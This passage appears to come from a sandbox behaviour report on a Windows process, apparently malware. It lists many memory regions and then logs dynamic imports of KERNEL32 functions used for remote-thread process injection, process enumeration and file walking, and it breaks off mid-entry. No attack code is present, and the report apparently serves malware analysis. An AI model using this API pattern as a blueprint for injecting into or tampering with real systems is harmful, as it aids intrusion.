entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5335 start_va = 0x5d0000 end_va = 0x5e4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5350 start_va = 0x74bd0000 end_va = 0x74bdffff entry_point = 0x74bd1526 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\SysWOW64\\NapiNSP.dll" (normalized: "c:\\windows\\syswow64\\napinsp.dll") Region: id = 5351 start_va = 0x74bb0000 end_va = 0x74bc1fff entry_point = 0x74bb18f2 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\SysWOW64\\pnrpnsp.dll" (normalized: "c:\\windows\\syswow64\\pnrpnsp.dll") Region: id = 5352 start_va = 0x74b60000 end_va = 0x74b67fff entry_point = 0x74b6131e region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\SysWOW64\\winrnr.dll" (normalized: "c:\\windows\\syswow64\\winrnr.dll") Region: id = 5480 start_va = 0x5d0000 end_va = 0x5dffff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 5481 start_va = 0x2b40000 end_va = 0x2c3ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b40000" filename = "" Region: id = 5482 start_va = 0x5e0000 end_va = 0x5e8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 5483 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5484 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5485 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5486 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5487 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5488 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5489 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5490 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5491 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5492 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5493 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5494 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5495 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5496 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5497 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5498 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5499 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5500 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5501 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5502 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5503 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5504 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5505 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5506 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5507 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5508 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5509 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5510 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5511 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5512 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5513 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5514 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5515 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5516 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5517 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5518 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5519 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5520 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5521 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5522 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5523 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5524 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5525 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5526 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5527 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5528 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5529 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5530 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5531 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5532 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5533 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5534 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5535 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5536 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5537 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5538 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5539 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5540 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5541 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5542 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5698 start_va = 0x5d0000 end_va = 0x5dffff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 5699 start_va = 0x5e0000 end_va = 0x5e8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 5700 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5701 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5702 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5703 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5704 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5705 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5706 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5707 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5708 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5709 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5710 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5711 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5712 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5713 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5714 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5715 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5716 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5717 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5718 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5719 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5720 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5721 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5722 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5723 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5724 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5725 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5726 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5727 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5728 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5729 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5730 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5731 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5732 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5733 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5734 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5735 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5736 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5737 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5738 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5739 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5740 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5741 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5742 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5743 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5744 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5745 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5746 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5747 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5748 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5749 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5750 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5751 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5752 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5753 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5754 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5755 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5756 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5757 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5758 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5759 start_va = 0x5d0000 end_va = 0x5d8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 5955 start_va = 0x2500000 end_va = 0x253ffff entry_point = 0x0 region_type = private name = "private_0x0000000002500000" filename = "" Region: id = 5956 start_va = 0x2a40000 end_va = 0x2a7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a40000" filename = "" Region: id = 5957 start_va = 0x2c50000 end_va = 0x2c8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c50000" filename = "" Region: id = 5958 start_va = 0x2d50000 end_va = 0x2d8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d50000" filename = "" Region: id = 5959 start_va = 0x34a0000 end_va = 0x369ffff entry_point = 0x0 region_type = private name = "private_0x00000000034a0000" filename = "" Region: id = 5960 start_va = 0x7ef83000 end_va = 0x7ef85fff entry_point = 0x0 region_type = private name = "private_0x000000007ef83000" filename = "" Region: id = 5961 start_va = 0x7ef86000 end_va = 0x7ef88fff entry_point = 0x0 region_type = private name = "private_0x000000007ef86000" filename = "" Region: id = 6217 start_va = 0x2a30000 end_va = 0x2a6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a30000" filename = "" Region: id = 6218 start_va = 0x36a0000 end_va = 0x436cfff entry_point = 0x0 region_type = private name = "private_0x00000000036a0000" filename = "" Region: id = 6219 start_va = 0x7ef89000 end_va = 0x7ef8bfff entry_point = 0x0 region_type = private name = "private_0x000000007ef89000" filename = "" Thread: id = 135 os_tid = 0x67c Thread: id = 152 os_tid = 0x928 [0110.907] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x75dc0000 [0110.914] GetProcAddress (hModule=0x75dc0000, lpProcName="GetLastError") returned 0x75dd11c0 [0110.914] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateEventA") returned 0x75dd328c [0110.914] GetProcAddress (hModule=0x75dc0000, lpProcName="ResetEvent") returned 0x75dd16dd [0110.914] GetProcAddress (hModule=0x75dc0000, lpProcName="SetEndOfFile") returned 0x75dece2e [0110.914] GetProcAddress (hModule=0x75dc0000, lpProcName="ReadFile") returned 0x75dd3ed3 [0110.914] GetProcAddress (hModule=0x75dc0000, lpProcName="FlushFileBuffers") returned 0x75dd469b [0110.915] GetProcAddress (hModule=0x75dc0000, lpProcName="WriteFile") returned 0x75dd1282 [0110.915] GetProcAddress (hModule=0x75dc0000, lpProcName="GetStdHandle") returned 0x75dd51b3 [0110.915] GetProcAddress (hModule=0x75dc0000, lpProcName="GetFileType") returned 0x75dd3531 [0110.915] GetProcAddress (hModule=0x75dc0000, lpProcName="GetConsoleMode") returned 0x75dd1328 [0110.915] GetProcAddress (hModule=0x75dc0000, lpProcName="WriteConsoleW") returned 0x75df7aca [0110.915] GetProcAddress (hModule=0x75dc0000, lpProcName="GetTickCount") returned 0x75dd110c [0110.915] GetProcAddress (hModule=0x75dc0000, lpProcName="SetFileAttributesW") returned 0x75ded4f7 [0110.915] GetProcAddress (hModule=0x75dc0000, lpProcName="VirtualAlloc") returned 0x75dd1856 [0110.915] GetProcAddress (hModule=0x75dc0000, lpProcName="GetFileSizeEx") returned 0x75dd59e2 [0110.915] GetProcAddress (hModule=0x75dc0000, lpProcName="VirtualFree") returned 0x75dd186e [0110.915] GetProcAddress (hModule=0x75dc0000, lpProcName="SetFilePointerEx") returned 0x75dec807 [0110.915] GetProcAddress (hModule=0x75dc0000, lpProcName="RemoveDirectoryW") returned 0x75e544cf [0110.915] GetProcAddress (hModule=0x75dc0000, lpProcName="GetVolumeNameForVolumeMountPointW") returned 0x75de052f [0110.915] GetProcAddress (hModule=0x75dc0000, lpProcName="GetProcessHeap") returned 0x75dd14e9 [0110.915] GetProcAddress (hModule=0x75dc0000, lpProcName="HeapFree") returned 0x75dd14c9 [0110.915] GetProcAddress (hModule=0x75dc0000, lpProcName="HeapReAlloc") returned 0x77761f6e [0110.915] GetProcAddress (hModule=0x75dc0000, lpProcName="HeapAlloc") returned 0x7774e026 [0110.916] GetProcAddress (hModule=0x75dc0000, lpProcName="LoadLibraryA") returned 0x75dd49d7 [0110.916] GetProcAddress (hModule=0x75dc0000, lpProcName="OutputDebugStringA") returned 0x75dfb2b7 [0110.916] GetProcAddress (hModule=0x75dc0000, lpProcName="Thread32Next") returned 0x75e55c3f [0110.916] GetProcAddress (hModule=0x75dc0000, lpProcName="Thread32First") returned 0x75e55b93 [0110.916] GetProcAddress (hModule=0x75dc0000, lpProcName="GetCurrentThread") returned 0x75dd17ec [0110.916] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateProcessW") returned 0x75dd103d [0110.916] GetProcAddress (hModule=0x75dc0000, lpProcName="FreeLibrary") returned 0x75dd34c8 [0110.916] GetProcAddress (hModule=0x75dc0000, lpProcName="FormatMessageW") returned 0x75dd4620 [0110.916] GetProcAddress (hModule=0x75dc0000, lpProcName="MultiByteToWideChar") returned 0x75dd192e [0110.916] GetProcAddress (hModule=0x75dc0000, lpProcName="WideCharToMultiByte") returned 0x75dd170d [0110.916] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateMutexW") returned 0x75dd424c [0110.916] GetProcAddress (hModule=0x75dc0000, lpProcName="ReleaseMutex") returned 0x75dd111e [0110.916] GetProcAddress (hModule=0x75dc0000, lpProcName="SetLastError") returned 0x75dd11a9 [0110.916] GetProcAddress (hModule=0x75dc0000, lpProcName="WaitForMultipleObjects") returned 0x75dd4220 [0110.916] GetProcAddress (hModule=0x75dc0000, lpProcName="GetComputerNameW") returned 0x75dddd0e [0110.916] GetProcAddress (hModule=0x75dc0000, lpProcName="LocalAlloc") returned 0x75dd168c [0110.917] GetProcAddress (hModule=0x75dc0000, lpProcName="GetCurrentProcessId") returned 0x75dd11f8 [0110.917] GetProcAddress (hModule=0x75dc0000, lpProcName="GetSystemDefaultLCID") returned 0x75dd32a9 [0110.917] GetProcAddress (hModule=0x75dc0000, lpProcName="GetProcAddress") returned 0x75dd1222 [0110.917] GetProcAddress (hModule=0x75dc0000, lpProcName="GetModuleHandleW") returned 0x75dd34b0 [0110.917] GetProcAddress (hModule=0x75dc0000, lpProcName="LoadLibraryW") returned 0x75dd492b [0110.917] GetProcAddress (hModule=0x75dc0000, lpProcName="VirtualProtect") returned 0x75dd435f [0110.917] GetProcAddress (hModule=0x75dc0000, lpProcName="WriteProcessMemory") returned 0x75ded9e0 [0110.917] GetProcAddress (hModule=0x75dc0000, lpProcName="VirtualAllocEx") returned 0x75ded9b0 [0110.917] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateRemoteThread") returned 0x75e5416b [0110.917] GetProcAddress (hModule=0x75dc0000, lpProcName="DuplicateHandle") returned 0x75dd1886 [0110.917] GetProcAddress (hModule=0x75dc0000, lpProcName="VirtualFreeEx") returned 0x75ded9c8 [0110.917] GetProcAddress (hModule=0x75dc0000, lpProcName="OpenProcess") returned 0x75dd1986 [0110.917] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateToolhelp32Snapshot") returned 0x75df735f [0110.918] GetProcAddress (hModule=0x75dc0000, lpProcName="Process32FirstW") returned 0x75df8baf [0110.918] GetProcAddress (hModule=0x75dc0000, lpProcName="Process32NextW") returned 0x75df896c [0110.918] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateDirectoryW") returned 0x75dd4259 [0110.918] GetProcAddress (hModule=0x75dc0000, lpProcName="TerminateProcess") returned 0x75ded802 [0110.918] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateFileW") returned 0x75dd3f5c [0110.918] GetProcAddress (hModule=0x75dc0000, lpProcName="lstrcmpiA") returned 0x75dd3e8e [0110.918] GetProcAddress (hModule=0x75dc0000, lpProcName="FindClose") returned 0x75dd4442 [0110.918] GetProcAddress (hModule=0x75dc0000, lpProcName="FindNextFileW") returned 0x75dd54ee [0110.918] GetProcAddress (hModule=0x75dc0000, lpProcName="FindFirstFileW") returned 0x75dd4435 [0110.918] GetProcAddress (hModule=0x75dc0000, lpProcName="GetCurrentThreadId") returned 0x75dd1450 [0110.918] GetProcAddress (hModule=0x75dc0000, lpProcName="GetSystemTime") returned 0x75dd5a96 [0110.918] GetProcAddress (hModule=0x75dc0000, lpProcName="GetLocalTime") returned 0x75dd5aa6 [0110.919] GetProcAddress (hModule=0x75dc0000, lpProcName="SetEvent") returned 0x75dd16c5 [0110.919] GetProcAddress (hModule=0x75dc0000, lpProcName="GetFileAttributesW") returned 0x75dd1b18 [0110.919] GetProcAddress (hModule=0x75dc0000, lpProcName="MoveFileExW") returned 0x75de9b2d [0110.919] GetProcAddress (hModule=0x75dc0000, lpProcName="LocalFree") returned 0x75dd2d3c [0110.919] GetProcAddress (hModule=0x75dc0000, lpProcName="GetNativeSystemInfo") returned 0x75de10b5 [0110.919] GetProcAddress (hModule=0x75dc0000, lpProcName="GetVersionExW") returned 0x75dd1ae5 [0110.919] GetProcAddress (hModule=0x75dc0000, lpProcName="DeleteCriticalSection") returned 0x777545f5 [0110.919] GetProcAddress (hModule=0x75dc0000, lpProcName="InitializeCriticalSection") returned 0x77752c42 [0110.919] GetProcAddress (hModule=0x75dc0000, lpProcName="CloseHandle") returned 0x75dd1410 [0110.919] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateThread") returned 0x75dd34d5 [0110.919] GetProcAddress (hModule=0x75dc0000, lpProcName="PeekNamedPipe") returned 0x75e54821 [0110.919] GetProcAddress (hModule=0x75dc0000, lpProcName="GetFileInformationByHandle") returned 0x75dd53ae [0110.919] GetProcAddress (hModule=0x75dc0000, lpProcName="FileTimeToSystemTime") returned 0x75dd542c [0110.919] GetProcAddress (hModule=0x75dc0000, lpProcName="GetDriveTypeW") returned 0x75dd418b [0110.919] GetProcAddress (hModule=0x75dc0000, lpProcName="FindFirstFileExW") returned 0x75de1811 [0110.919] GetProcAddress (hModule=0x75dc0000, 